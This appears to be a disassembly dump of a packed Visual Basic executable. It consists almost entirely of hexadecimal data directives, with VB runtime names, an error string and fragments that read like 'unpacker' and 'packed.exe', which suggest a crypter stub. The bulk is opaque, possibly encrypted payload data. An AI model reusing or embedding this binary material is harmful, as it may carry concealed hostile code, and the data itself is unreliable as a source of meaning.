dd 77DA9BD0h, 0FEC06E1Fh, 0A716CFDEh, 13B1041Ah, 2399F115h dd 0E7701EC1h, 671C3555h, 7F2D4EF1h, 13209A3Fh, 5AC49BFh dd 0A7176FD7h, 0F6D95604h, 0EF651C33h, 0CD3A1D4Ch, 0AB39ED91h dd 5892560Eh, 4930F0D6h, 46685C8h, 9AC701E7h, 7F3FED5Dh dd 7F1326B5h, 0AF79A709h, 0C1871F4Dh, 7BDE2590h, 4D871D58h dd 0DD17FD1Ah, 7DB87CAAh, 0C9381C4Ah, 9846AEEFh, 5627DED6h dd 0D20062D8h, 3F366B08h, 55F82B65h, 0B9976026h, 0AD090B0Bh dd 48124073h, 0B6D704ABh, 27FF4608h, 35D24856h, 0B4E2154Fh dd 3F8h, 33A13800h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh dd 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h dd 4EC8386h, 89240C89h, 4C181E1h, 83000000h, 0C8704E9h dd 89505C24h, 405E0h, 0E8830000h, 24048704h, 2414895Ch dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 5153240Ch dd 866429B9h, 59CB8903h, 6EECC381h, 0DBF70B11h, 0EB81D3F7h dd 79F56205h, 0B247C381h, 0DA89714Ch, 4EC815Bh, 89000000h dd 4832424h, 55590424h, 0BA52D589h, 8, 2A89CA01h, 0C8B5D5Ah dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5A2434FFh, 0E904C483h dd 0FFFA571Fh, 3CB8D60Ch, 305EF28h, 0AAE0FFC5h, 6D167F3Fh dd 7E60179Ah, 0AD777C1Eh, 0A319BE5Eh, 801C4583h, 0DE500FC2h dd 0EC325B67h, 6D06B2FFh, 0A07DBB10h, 777FA6C0h, 1447ED6Eh dd 784F842Ah, 0D424668Dh, 6C359375h, 511BE559h, 0D4078ACh dd 4E0AD181h, 1F21650Eh, 9412C47Ch, 527EC7A2h, 8F2D3527h dd 9F68F560h, 3C57EA19h, 8003508Ah, 0B178ABEDh, 0D63DDA08h dd 0E903DD7Ah, 15Ch, 77E705C5h, 6D5C3A43h, 706E755Fh, 656B6361h dd 61700072h, 64656B63h, 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 5478AC23h, 1C7BE9h, 2CBA6800h, 38E905EFh, 68FFFA55h dd 5EF2D90h, 0FA552EE9h, 2ED368FFh, 24E905EFh, 68FFFA55h dd 5EF2FB2h, 0FA551AE9h, 2FF168FFh, 10E905EFh, 68FFFA55h dd 5EF310Bh, 0FA5506E9h, 317368FFh, 0FCE905EFh, 68FFFA54h dd 5EF31CFh, 0FA54F2E9h, 38A768FFh, 0E8E905EFh, 68FFFA54h dd 5EF3922h, 0FA54DEE9h, 39E568FFh, 0D4E905EFh, 68FFFA54h dd 5EF3AF6h, 0FA54CAE9h, 3B5A68FFh, 0C0E905EFh, 68FFFA54h dd 5EF3C48h, 0FA54B6E9h, 3D1C68FFh, 0ACE905EFh, 68FFFA54h dd 5EF3DC7h, 0FA54A2E9h, 441068FFh, 98E905EFh, 68FFFA54h dd 5EF450Ah, 0FA548EE9h, 45A568FFh, 84E905EFh, 50FFFA54h dd 0E6CCE910h, 785E7BAAh, 9EF0C3Bh, 987E9BCEh, 0E122F5Ah dd 75A0DED4h, 0A317258h, 9DC807EDh, 2D609A80h, 0B4624310h dd 132631F2h, 0ECC6A3FCh, 0B3E17EB1h, 275588C2h, 0D407421Ch dd 593FDCA6h, 0A2CFEC1Fh, 0ECB26081h, 0F216C91Ah, 1A0A4C7Ch dd 1E9416C9h, 80F04881h, 23A62FDDh, 32A81C32h, 0DE1FF904h dd 62601AB7h, 9513200Ch, 0ADDC81F4h, 0BC21C08Ah, 0DEBD5AC2h dd 45269732h, 332Eh, 176FF400h, 4D5604A7h, 0B91C3229h dd 2A291BF4h, 0E44271E3h, 77D3844Fh, 85B315E1h, 2031D5EDh dd 0F4812213h, 23528F69h, 0FCF9A786h, 0D7F74526h, 0BD000000h dd 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h, 7410533h dd 0A8E2A6D4h, 109E5875h, 1A16C915h, 0AA90ADE0h, 40F3D70h dd 1E7135E3h, 0D7D16C9h, 0A23FA1D0h, 0FEA11169h, 31F3FB50h dd 21CFF01Ch, 13203D5Dh, 6C4EEB61h, 6593BEFCh, 0E31C399Bh dd 0DD75CC8Bh, 51640BD8h, 35724CEFh, 710ED806h, 0B492344h dd 4BE8B2E0h, 0C6468D91h, 781B9119h, 1835609Eh, 6788F432h dd 0CB76F5B9h, 5383F916h, 16CB7613h, 92C3259Bh, 6F7270F8h dd 0CB934F47h, 8000019h, 9E84A1C8h, 30163362h, 0C1A7C4F3h dd 50365386h, 0C6CAE712h, 2D58961Ch, 0C2E92A10h, 5580BFA5h dd 0E5185238h, 6C1AFBC8h, 1326362Ah, 0C27D5BB4h, 0F6215F84h dd 9AC504C8h, 0DE40A26Ch, 6EA1DBC1h, 176F2351h, 4D5604A7h dd 0B91C3229h, 5E7FA043h, 200BEEB0h, 4A7AF013h, 13200B04h dd 0C371148Ah, 13200B83h, 40F8950Bh, 200B9AA8h, 393CDD13h dd 26C6AE72h, 0A3C245h, 0C2880000h, 63275588h, 34CCFA25h dd 16C915BAh, 365386C0h, 57941650h, 4A58A61Ch, 0A5B0DE40h dd 2B8A6776h, 0C690BEF1h, 0C68B0015h, 2898F029h, 3362D785h dd 3EB41C31h, 2090E821h, 627CCF7Dh, 50C619C6h, 6699D3ADh dd 84C29CC9h, 18563C59h, 8B28BCEDh, 2F276F72h, 18F573h dd 0CBF23200h, 5D8CC8AEh, 0EE1D5A40h, 7DB0EBD1h, 113C7A60h dd 0C8F2F0F4h, 5C425F8Ah, 0F1D7F41Bh, 846A87B2h, 2DFA174Ah dd 37D89E4Ch, 8DE61326h, 5984C2AFh, 0E91C563Ch, 86C59FCCh dd 0D6BC770Ch, 75D7CEB1h, 11AEDD19h, 1488C2E3h, 0C91A2066h dd 9538AE16h, 0C91AA7E7h, 4FB12716h, 0F0235D21h, 0A777A6D3h dd 0C8C2968Fh, 5CB4ED8Ah, 0BA9B49ECh, 41C3211h, 7B55608Eh dd 0BC76133Ah, 13201F86h, 6290BFFCh, 8365D9Eh, 82DB9A37h dd 201F92D4h, 44A61C13h, 2D6A44DDh, 0AA06D0FEh, 4812406Bh dd 0ACFF76ABh, 4526D6E4h, 8762C1F0h, 49C84BB1h, 0E98BACh dd 84510000h, 0F5340E41h, 9BD89CCAh, 12743E6Ch, 33E43C75h dd 0C91AC185h, 0F557CD16h, 1C43A452h, 158B1C32h, 0EBCDDE6h dd 13201448h, 8943E056h, 4EB77D97h, 0CD357650h, 0BAB35F1Fh dd 87E95FC7h, 28DE8F59h, 0EEE21EEh, 5EB6EF8Ch, 609D4BEEh dd 0AECD41A4h, 9BF30A38h, 8D67882Bh, 0C6702150h, 0CAEF67D9h dd 5F36F08Dh, 58C8AF7Eh, 4EC58937h, 53C9C7BFh, 0BB5ED4B6h dd 3B7AA7E1h, 0B618E210h, 4679B399h, 0FE892F15h, 4A06FE9Dh dd 17B2h, 6B88AFEFh, 0FD1A4985h, 8EABDA17h, 1D3A6DA8h dd 0B1CEF937h, 3F7D35ADh, 0D011F714h, 67A68CA9h, 0FF391F3Ch dd 1E2AFCCh, 26341353h, 64429B13h, 275588C2h, 8B01421Ch dd 0DA89483Ah, 0E816786Ch, 0F048811Eh, 0C403DD80h, 69A76B99h dd 0E446103Eh, 4B6C1A47h, 931C32B9h, 7BD2001Dh, 44F266A1h dd 16C91A02h, 86B4168Ch, 0CAFB1FBCh, 456CAD87h, 77B04D17h dd 0FEC06E1Fh, 16C91Ah, 0D785288Ah, 1C321C36h, 3DD30278h dd 9819DECFh, 0BBFA64BCh, 36986290h, 5178B993h, 2CD987B4h dd 729EF3D8h, 437F59FCh, 0E422E614h, 2BA57B9h, 0B3DE1DF7h dd 0E51EBB85h, 0CC7A1D8Dh, 9B1DBAA5h, 0C68836EDh, 0C8940D8Ah dd 88BBF652h, 8B2E905Ah, 274477B1h, 0A3D40741h, 0ECB04CA3h dd 0D3DE9A92h, 10000016h, 0A68CA9D0h, 381E3B6Ah, 0C9AFCCFBh dd 583E5B8Eh, 0CED2EF1Ah, 35609E14h, 0CAF13218h, 5D88C7ADh dd 0ED205A40h, 742203D0h, 13263532h, 0C28563BCh, 32245588h dd 216F74DDh, 16946D29h, 91D10000h, 2B674D6Ah, 0BCF9DFFCh dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh dd 9265190h, 99B6E923h, 793DEBCCh, 85132635h, 88C24E2Ch dd 7091B255h, 0C91AFCC2h, 5C8C0216h, 16C91A1Ah, 7F3FEDA4h dd 7F16C91Ah, 520AA709h, 0D073E33Bh, 1ABD01AFh, 0D7E816C9h dd 3FDE6638h, 3FA166BEh, 4A8E8E34h, 22FCC2Eh, 311AAF54h dd 2A67D71Ch, 0CB09CDFBh, 0A8E23EA0h, 0D2F61375h, 1D8DE502h dd 0DE1C4B7Ah, 0A647F4EFh, 0C48B75F5h, 99363116h, 6F59BE6Ch dd 2FA519DBh, 0ECF66A00h, 57318370h, 0F8469E18h, 9BD1F1C7h dd 90410B39h, 560A5FA3h, 306906A2h, 357927D8h, 0B58A6197h dd 7AF0487Bh, 72467518h, 93B4CBACh, 6E1C49E6h, 809AB891h dd 0B2C6DDDh, 0DE40A2CDh, 824199B0h, 3E7D56D9h, 0D62C6213h dd 1894AFDh, 0F658B9BAh, 0D032599Ah, 0F8320C2Dh, 30CD97C5h dd 742F1F76h, 4AED6385h, 60033670h, 7F1C4786h, 85B8F2D8h dd 0C7D88854h, 23DFD7D2h, 157Ah, 335077B7h, 0C5E2114Dh dd 5673A2DFh, 0E5023570h, 7996C1FFh, 7456D75h, 98D9BFDCh dd 2F6E5471h, 0C701E704h, 0C9AA7794h, 262B5B1Bh, 2C0A6313h dd 3564A17Bh, 0E6A03D07h, 16C91AA0h, 0C92A6C56h, 3A80C216h dd 8CBB16C9h, 0D2FCF6A9h, 5B8EC82Ch, 6401632Dh, 0C99F98AAh dd 7DB0EA16h, 74586E4Ch, 29E5DD6Fh, 1512h, 0CBE80F4Fh dd 5D7AA9E5h, 0EE0B3A77h, 7D9ACD08h, 112E5997h, 9FDDD50Dh dd 30715774h, 0C706EC09h, 5F997F9Ch, 61420F2Ch, 262BF3B3h dd 0C4A2FB13h, 4A7176Fh, 1A7135E3h, 77D16C9h, 0A3406FABh dd 99FC876h, 681F1C32h, 202BF4BAh, 2284FA13h, 8BAC19F1h dd 78342C69h, 14B6h, 6F8CB3F3h, 11E4D89h, 92AFDE1Bh, 213E71ACh dd 0B5D2FD3Bh, 4B8931B1h, 0DC1D0320h, 73B298B5h, 0B452B48h dd 0DEEBBD8h, 262B1F5Fh, 68469F13h, 275588C2h, 0C8F62963h dd 4F5C1938h, 40CFD381h, 369Fh, 0D4EE6500h, 0E716C91Ah dd 6BA5D20Dh, 0E4A8D638h, 7A1779A8h, 0F12D5A94h, 0FD5F8AC8h dd 86A305CFh, 0A045E8CCh, 0AB852816h, 0DD0C496Ah, 0E683E5AFh dd 143C722Eh, 0C2B20000h, 1C275588h, 5F8ECCFBh, 19C5B5Fh dd 0C9CD8DD1h, 0FE9B1116h, 5AFD6DC5h, 32C9B3ACh, 104BBB1Ch dd 0F6A4AFDDh, 1320C1B0h, 0A66C83Eh, 1D3A9CCFh, 791C8CE4h dd 9936619Fh, 0F6D9BE6Ch, 0B52519DBh, 42E5477Ah, 47AD2B68h dd 1C77E6F7h, 5E16B315h, 39742453h, 87CBE9C9h, 98C704EAh dd 7F80C17Bh dd 0E1BB16C9h, 0F6DC79A0h, 886E8BBAh, 2BEF1D4Ch, 431DC0EFh dd 823AD706h, 1B423392h, 0A7D50441h, 1E5A40DDh, 2DF3D2EFh dd 3740CFB2h, 2128CC08h, 0B869618Bh, 98E61F57h, 426300ECh dd 200h, 0C2F52F09h, 4C7BF725h, 0DC836BA2h, 0A8E17EADh dd 1C3DE050h, 0E890342h, 0EA6E5D96h, 732DCA2Ch, 1C324F1Eh dd 552FD248h, 0EFB9E71Ah, 9AD69A52h, 2C684E6Bh, 572B5AFDh dd 10560482h, 9E1320BFh, 80D97728h, 636E26C3h, 0F01E4D89h dd 0F3CF8926h, 0F132029h, 0B276A4D3h, 28184675h, 0E2F2ACC9h dd 4C7BE293h, 77A25343h, 927815A3h, 0D10A2756h, 8C660979h dd 6F2FDD51h, 6F1320EFh, 0CDFA97F9h, 99DD8BACh, 0DA1320EFh dd 20EF6A2Ch, 0A6FE7413h, 3CD99330h, 8219DBD5h, 0DC1ADE0Ch dd 8D6794B1h, 0A288254Ch, 730B3964h, 16C9E531h, 19477AB5h dd 8CE81B55h, 0DDF6244Bh, 42F67E17h, 57CE4A24h, 2170801Eh dd 0A6125054h, 0C988B6F8h, 5C9CDF16h, 0BA57C06Fh, 6D8AEC62h dd 0EE1C4B87h, 91BFEE2Ah, 33704AA1h, 6F0CD604h, 2D693B3Ah dd 5E02E1FEh, 5240CF76h, 3Eh, 5984C218h, 0BD29672Bh, 0C91A4F0Fh dd 77D94F16h, 1D448549h, 0C3EA2BEFh, 11648795h, 0CFA6058Dh dd 7D2B97D5h, 16C91A39h, 0D0ED4FC5h, 608BC9A3h, 0ECCB6832h dd 40CFD724h, 0CB3Ch, 176F0200h, 0FD5604A7h, 291C3209h dd 85C185B3h, 4FF21D5Ch, 202BDDA1h, 96BE113h, 85164566h dd 4329F49Eh, 0B77B3B6Bh, 0D831320h, 0A7E3C970h, 103F4A78h dd 4A60A30Dh, 7BB6127Eh, 89C5AB48h, 0DD3C2C5Ah, 0A1D00C98h dd 3E7D5784h, 7E1BE513h, 266EF19Fh, 6CEF45h, 7BB50000h dd 53366A1h, 10659E3Bh, 0D549F79Ah, 5916C919h, 89AAB5E3h dd 0C830795Ah, 0F020767Ch, 16C9D8AEh, 3BD56B30h, 92C8378h dd 72500AA7h, 7016C91Ch, 7E17CF9h, 0C4FD9ACDh, 7C56F96Fh dd 44710E41h, 0D25DF423h, 4E732EF0h, 1FE5A89Dh, 7C191343h dd 0C9BD2CC2h, 9B6D3216h, 0F44FB2C5h, 0F0CEEB4Dh, 0Ch dd 0E91C5731h, 43CA1E4Ch, 0A000000h, 1D5C85C2h, 98FAC4F2h dd 416AA66Ah, 0E0AAD803h, 3F7B617Eh, 7BA9DC16h, 0A214FB1h dd 7A1240B4h, 6643CB8Bh, 114D27C0h, 4DEAB4E2h, 0D1005D18h dd 6D8020B1h, 0B3922F32h, 0BF30A2EDh, 0BD603h, 196FC900h dd 0EA2802A5h, 2AC791BFh, 6AFDA72h, 43E49070h, 0C6FC2B32h dd 0DCD2870Fh, 54FCDB78h, 4CC96485h, 40h, 0A5196F12h, 0E0B2E102h dd 41C751C7h, 682EE885h, 2B16C961h, 9710B6FCh, 8F2C2A6Eh dd 0BB04E8ADh, 51A58319h, 8329C1EFh, 0B8AFB752h, 25FF5E17h dd 0BF89B7EAh, 959D4322h, 5793E9BCh, 59000002h, 0F860A17Bh dd 0C91A044Ah, 0B2148A16h, 0E41DBA84h, 0FA761A8Eh, 5588C2DAh dd 804C7BB1h, 0DC6B65F5h, 0B1BB7411h, 3366A17Bh, 0BF9E3B05h dd 43CFCB01h, 561Fh, 20B7E600h, 774C9B4Dh, 0D7A25D0Eh dd 8904EBA9h, 196FBEECh, 0CD7B01A5h, 16C91AF4h, 82B1EDC7h dd 0EA8D03E5h, 1A5B1BC9h, 0ED6316C9h, 0FA285391h, 7B659330h dd 1443805Ah, 0A17B4977h, 0B3993665h, 9DA34776h, 0F2215E38h dd 95C400C4h, 9E3B9D67h, 27CA70h, 6F0A0000h, 7B01A519h dd 1AEAAC5Ah, 7EF416C9h, 0B993B4E1h, 541E4C7Fh, 1AC4FDB7h dd 0D53916C9h, 0C2597B31h, 9DB25685h, 4AFEEE37h, 18391A9Eh dd 9C6A246Ah, 0B6E5AA12h, 994E8566h, 7ED8AECh, 9B819EC9h dd 0C7FA3461h, 496DCF99h, 65083371h, 0D1E87836h, 6FAEFEEAh dd 913FE244h, 129C20CDh, 10BE5BD1h, 7B294C6Dh, 0A7DA1441h dd 8AC8A245h, 480EBC5Fh, 56129C20h, 0C88A43E0h, 21375B8Eh dd 0D0F73864h, 0A5E997A2h, 29129C20h, 0EE1957B3h, 1065DCC0h dd 0E095188Eh, 68168AC4h, 129C2026h, 0A1D032A8h, 3B78A5DFh dd 25D3DE0Ch, 129C2061h, 3395F76Dh, 0F9370Fh, 129C20C3h dd 6A9CD43h, 0DA1490E5h, 78B678A7h, 89E51853h, 8DBB1D4Ch dd 9FC8038Bh, 6590CED6h, 7FAAE8C2h, 1B553BE2h, 0AEECC4E8h dd 9C208CB5h, 6084FA12h, 43611445h, 0E5A7D609h, 3E5478ABh dd 0FF766F44h, 9386BA5h, 0B6DA0D47h, 5175A0DEh, 75E88DAEh dd 0EC921D46h, 30CDF8AFh, 0AEDD104Ah, 66A17BA4h, 76B09633h dd 0DAFA9F43h, 0A41A6Fh, 17C9E5EFh, 1D43CFCBh, 3EDB0243h dd 421Dh, 52B5E400h, 0DF53E942h, 6F76A441h, 7B00A41Ah dd 2461C14Ch, 0FE9B9FF9h, 0C31E23D1h, 0F26816C9h, 0C2597B4Eh dd 0F41F5D86h, 379DEE92h, 3467A17Bh, 0C19F3C06h, 52h, 7333E102h dd 7B16C91Ah, 6F3A6805h, 0AC40551Ah, 0D110FB7h, 5A7B07ABh dd 18D0B52Bh, 0A3DFDB33h, 1A7C4674h, 0EFEC37Dh, 0E3BD16C9h dd 0F1DC79A4h, 0A17BE98Dh, 400A3863h, 7B5576A3h, 4775123Dh dd 225D86C2h, 0BBEA8DEFh, 4B2E779Fh, 6694310Fh, 96EE379Dh dd 0D216C91Ch, 0FFFD457Eh, 0A17BBEFFh, 747F565h, 8716C91Ah dd 0B781AF11h, 1A62601Ah, 7F5916C9h, 3E771443h, 715774E8h dd 3FD70534h, 16C91A7Fh, 1391E45Bh, 0A48AA7D6h, 0E31C3968h dd 0B0E31E8Eh, 0F88204Eh, 0D89B66h, 6D47165Fh, 0CCD7052Ch dd 9F49581Eh, 8EF06654h, 804E12F1h, 1C620299h, 28000002h dd 3762A17Bh, 0E50FE09h, 9016C91Ah, 611BB81Ah, 16C91A60h dd 0E487F74Fh, 7EADE9C3h, 2E8627E1h, 52C81C32h, 0E3124F35h dd 95D0AAB5h, 0A3DFC562h, 328D9B25h, 84E67A26h, 0E6569256h dd 20A77638h, 3F7F2D13h, 0BF1320A7h, 197BF149h, 0C7CD4EBh dd 42E6BB69h, 0AA2019D8h, 74464F79h, 0EAA69E6Fh, 0DDEh dd 97B4DB1Bh, 294675B1h, 0BAD70643h, 496699D4h, 0DDFA2563h dd 73B109D9h, 4452B48h, 9BDAC0DDh, 336D5370h, 3516E300h dd 2622C787h, 906EC713h, 3863A17Bh, 0BDA3400Ah, 17225083h dd 0A7D5FC3Dh, 427AEB8Eh, 84E64F46h, 0E656AEE7h, 0E8439543h dd 0D1471C34h, 0E817542Eh, 79A8E5CBh, 1A4D874Bh, 0D7DD5ECh dd 0CABBBC6Ah, 53C319DDh, 5384E619h, 6F6DEC2Fh, 63CA867Eh dd 0A000000Dh, 361C3960h, 0C8AECBFAh, 593F5C8Bh, 0E8CEEB1Eh dd 5E627FAAh, 0C5F02E84h, 5A81C2A8h, 0ED18573Dh, 7DB0EAD0h dd 4B29360h, 13262342h, 7B15F34Ch, 1AEAAC5Ah, 7EF416C9h dd 8EC1FBE1h, 32F14960h, 6DA5A714h, 6A90B20h, 32C2F358h dd 0B0CD431Ch, 3F6AA983h, 0C4AA4711h, 0DAB4578Ah, 29D06DA0h dd 49D998F0h, 0A3CE0D9Eh, 8FAAB75h, 83268823h, 0DD0D08D5h dd 471C4B19h, 22EDC607h, 0FCABE3Ch, 9BFDE65Fh, 3A61CFEh dd 9FCA08E2h, 3777A771h, 0B716CF35h, 9D77A441h, 0CCFB3760h dd 0ACEDC76Ah, 5B41E885h, 0FDC1EF1Eh, 4B6290C3h, 32E083F3h dd 1C34272Dh, 548ABB31h, 0B36985BEh, 0CA0FFBBh, 9DDD0000h dd 37735976h, 0C805EB08h, 5B967C99h, 0E7250B28h, 479B9FBCh dd 0E5022D6Bh, 7A97BEFFh, 0D2A5594h, 9DBAED27h, 7D41EFD0h dd 81132623h, 88C24A28h, 0FB1C2755h, 0C91A094Dh, 0C31F9516h dd 81BA5786h, 0A1B66A29h, 0D9B63397h, 5B3D477h, 16C99A41h dd 0D3AD74Dh, 3293A25Fh, 516EE41Ch, 0E3002F6Bh, 5D97C0FDh dd 61C3F630h, 64076933h, 9DD19543h, 67DD1320h, 7BF523CAh dd 6896854Ch, 2E6DCC05h, 0CB04A103h, 0B2600373h, 1C320F09h dd 11A9D74Dh, 13202F31h, 0BBE91051h, 608EB9F7h, 0CCFF3A96h dd 4530CD9Eh, 2451F259h, 26E2D987h, 0B2F1CB45h, 0F28F5987h dd 90D1h, 86C29700h, 0FD1E2957h, 0C91A0F4Fh dd 1E518B16h, 0EE1556C6h, 1066DB8Ch, 0FEF898E5h, 103F7B61h dd 2558936Dh, 2F92D482h, 0A61C16C9h, 528D5109h, 0F12DF11Fh dd 146CA5C2h, 0ED2701A4h, 89C88CBAh, 325FFC5Eh, 31CC7384h dd 1445BB1Ch, 698BC804h, 8F9F5B53h, 0CC00000Bh, 6248658Ch dd 0F4DAF726h, 856B88B7h, 14FA174Ah, 8A8EABD6h, 0F9246258h dd 8EB5F6DCh, 214C8B71h, 0B1E41E04h, 38E6C794h, 13262076h dd 0C2411F78h, 5C3A5786h, 5Bh, 5786C29Ch, 0A1E593B4h, 2D16C91Ah dd 4B621AB7h, 1F4A89F3h, 22C527F1h, 31FF2F74h, 0B0E1571Ch dd 698BB0AEh, 2BF1ADA5h, 6800000Bh, 0FEE40128h, 907693C2h dd 21072453h, 0B096B3E6h, 262A4772h, 8DB8F6BCh, 22498A70h dd 0B5E01F05h, 4578B298h, 0CC7A5B28h, 1326218Ah, 0C2DDBB14h dd 63275588h, 7953F629h, 0B9710E3Dh, 0F26B0A29h, 12AFDA18h dd 0CFD36D33h, 2878340h, 84490000h, 3441E71h, 47E4AEDCh dd 5705B60Eh, 16C91A17h, 1CBF2197h, 321C896Eh, 0BC5FD51Ch dd 14A9ED9Bh, 0BF351320h, 3F606922h, 0C9F72A65h, 148FCFFFh dd 990F1320h, 8C9F42FCh, 69986FB2h, 5B9B828Ch, 0A856F948h dd 0E0B792E6h, 9CD572E8h, 5731D444h, 83B6F01Dh, 0FB298B55h dd 0B9679431h, 0EA4CA4D8h, 536A980Eh, 3AE88BFBh, 0EFA2C65Bh dd 743AE89Fh, 7AE0B2F6h, 25FFA204h, 86AA69EBh, 68942A79h dd 4A896306h, 751B6E1Fh, 98ABF832h, 346E54FBh, 0D6B4D001h dd 231B78F9h, 0A3D67h, 133A7A00h, 0A5D410F6h, 3665A288h dd 0C5F83319h, 5984C2A8h, 10AA383Ch, 0A48AA7D2h, 391F3C63h dd 0CCB2CFFAh, 75425F92h, 26A0E694h, 0D52E1326h, 5786C2F7h dd 5F8185B4h, 9130CBD8h, 9BC9F835h, 717C34D1h, 0E5E05697h dd 8B94683Ah, 45F396F8h, 16C9B601h, 417A178Dh, 0D63E7FE9h dd 0C9B66628h, 90F26816h, 93369862h, 33537AE5h, 0A0DBB51Ch dd 8E263F6Dh, 0FEC41F5Bh, 0B5973496h, 85C29C3Fh, 6B8CB956h dd 8B285391h, 9A3D64A5h, 0B55285C0h, 0C0E7280Eh, 0B9237B92h dd 59235178h, 0B5A654F7h, 0C119DD1Dh, 0D987A84Bh, 16CF3395h dd 0D906A319h, 7A97BEFFh, 892C5394h, 174570AFh, 0D84E71FEh dd 8EF00FACh, 3B7539F1h, 1369D708h, 0C0B86F6Eh, 96904h dd 3F66A600h, 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h dd 347E6468h, 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h dd 27440AB8h, 0F14A1326h, 0AC5A7B13h, 16C91AEAh, 0CB472FF4h dd 0BCE7DCE6h, 79F9BD5Ah, 16C93B3Dh, 884F269Dh, 51235273h dd 0DBE9E4B0h, 4F1B5B8Bh, 2DA316C9h, 95FF5790h, 90D12D54h dd 0F713B69h, 72ADBE6Ch, 33A91C32h, 4A79B690h, 2C9CF42Dh dd 0C60CDB89h, 2A4B19C6h, 0CBF63A7Ch, 0B14EC416h, 0DCB659CFh dd 25526FA2h, 0AFDD104Bh, 0CB317296h, 0B517CB65h, 0C5F83218h dd 72D62C94h, 4703FB6Fh, 8BEh, 7794BBFBh, 9265591h, 9AB7E623h dd 294679B4h, 0BDDA0543h, 539129B9h, 0E4250B28h, 7BBAA0BDh dd 134D3350h, 15F6C3E0h, 26272767h, 704EA713h, 0C91AD4EEh dd 0CE0DE716h, 113F6AA9h, 0EDB7E547h, 0FD306A50h, 0DF4FA7E0h dd 5CE18E3Ch, 0B72D1C32h, 0D0FB3A14h, 638ECDB3h, 82A7E6C0h dd 1FE91746h, 0AC6820BDh, 856h, 0A7176FECh, 2EF15604h dd 863D1C32h, 200696D8h, 0A9D81413h, 0E359B17Bh, 27485381h dd 0B1DF124Dh, 6F7B7E7h, 87F71320h, 27F11F46h, 546E28C5h dd 0AE132006h, 4F134174h, 0A7B5E312h, 46ADF184h, 35DBD0A5h dd 2B4526CBh, 130h, 0ABDE18F2h, 83C2E00Eh, 48ABF909h, 0F489C8B4h dd 0F1F1A205h, 0FF2D8F45h, 0A5D3FA3Bh, 4674A7E1h, 0E11E4382h dd 58BA84B2h, 0EB16553Bh, 0E391B2BDh, 16C9B9A3h, 0DF18B52Bh dd 4F70138Bh, 68ADE520h, 88259547h, 0C9B8F0CEh, 25C83E16h dd 0A7033F6h, 9C39F89Bh, 0EC8900E4h, 314E79B8h, 0B3E10C4Bh dd 0C924EF1Bh, 0E98C0316h, 62107CBBh, 16C9241Ch, 0ADCA2CA2h dd 5A82074h, 22BFEE2Bh, 240F47F5h, 198F16C9h, 0BFE627EBh dd 547BBCA2h, 0FB286226h, 8DDF90BFh, 0A896808Fh, 9276A406h dd 94A5A1Bh, 701E3FE2h, 16C9FB2Eh, 521EFB57h, 28809BC0h dd 886E15B2h, 0DBF22047h, 0C2701383h, 1C3128F5h, 6A95D4AEh dd 5875EBCDh, 0DC0A3172h, 0AB871C5h, 1320E244h, 0A1E5934Ah dd 2D1320E2h, 50F355B7h, 6C093C76h, 0A441E3Fh, 3A803AD7h dd 0BC1320E2h, 8FC9A346h, 2307BF5Ch, 9ADBC9ACh, 8295673h dd 20E2145Ah, 87249A13h, 963960A1h, 621080BCh, 1320E21Ch dd 9CCA2CA2h, 667D35D2h, 4DFB9E0Eh, 19DBEDB4h, 593F5CD2h dd 0EED4F118h, 396784AFh, 0EAAC5A7Bh, 0F416C91Ah, 50A8E17Eh dd 1AADF19Fh, 0BB3116C9h, 1F08B659h, 1F1C321Eh, 96707BA9h dd 0C4F33059h, 0A3DFC562h, 6F295774h, 4370AA1Ah, 0E0AAD807h dd 56EE1C7Eh, 16C91A6Ch, 0D28BEA8Bh, 5FC2CCA3h, 0E07D46DFh dd 0CF275F01h, 0FA164540h, 1FD053F5h, 0ABDA1672h, 0F516B37Dh dd 3Ah, 886C2BBh, 7FA4F249h, 8DBB1D21h, 0C975B1F5h, 89AA1916h dd 0C9759BDBh, 10AD2316h, 0CE0A9ADBh, 0E722FC9Fh, 0B67017B4h dd 16C896CCh, 78B38D30h, 0B04D1745h, 0FFFF92D2h, 88C212FFh dd 1A206614h, 38AE16C9h, 0E4F032D6h, 0A41A6Fh, 17C9D301h dd 2943CFCBh, 40h, 631A6FEFh, 0ED1D4C89h, 16C91AA9h, 0B95DBF35h dd 1A89CD7Bh, 9F1516C9h, 2DFFCDFCh, 5E773E4Eh, 597B93C1h dd 3F805A7Bh, 1AA6E818h, 0E82416C9h, 4EEB61B9h, 59FD2C68h dd 34CA379Dh, 0A000000h, 3F4A4C7Bh, 24EB7C9Bh, 0C08AB8E7h dd 3388C15Eh, 0CD7B19BDh, 16C91A89h, 7B04A80Ch, 1742805Ah dd 86C24C7Ah, 52F51C5Dh, 0C91AE2A4h, 1476EC16h, 0C2379D70h dd 90285685h, 16C91ACEh, 24633DACh, 4E275CF9h, 0FBA91956h dd 16C91ABBh, 7CD4033Fh, 0CD87A406h, 16C91DDFh, 0F3EA0559h dd 7B45FFFFh, 0DC3863A1h, 0F1D7749Bh, 306986B5h, 17C568D8h dd 1C3219AEh, 0B44C7AF0h, 13201B8Eh, 812F50E9h, 13201B3Dh dd 0E81351C1h, 0C1B4E986h, 26D226EAh, 0C3A45h, 0CA000000h dd 6, 0C5F4310Bh, 176FFA28h, 315604A7h, 7D1C322Dh, 0F4CED907h dd 4E5987BAh, 2007DEA0h, 86AE013h, 16446BACh, 8DC9AF4Ch dd 0B287415Eh, 0B9132007h, 7A4EA98h, 20D11320h, 40FE0FADh dd 31CE449Ch, 0AAE70C4Bh, 0FD1CA82Ch, 8EF0DBAAh, 17349660h dd 99C7F231h, 70ADE997h, 87FA1341h, 0E4F1C63Eh, 0D0FF3B97h dd 9ADB2AA2h, 52237604h, 0AFEE1352h, 0F11F4E8Ah, 0C063C527h dd 4A78ABE6h, 563CE380h, 0E109A1Ch, 49A54B71h, 1544E7h dd 5F92CC0Eh, 96F9E6AEh, 39734BF9h, 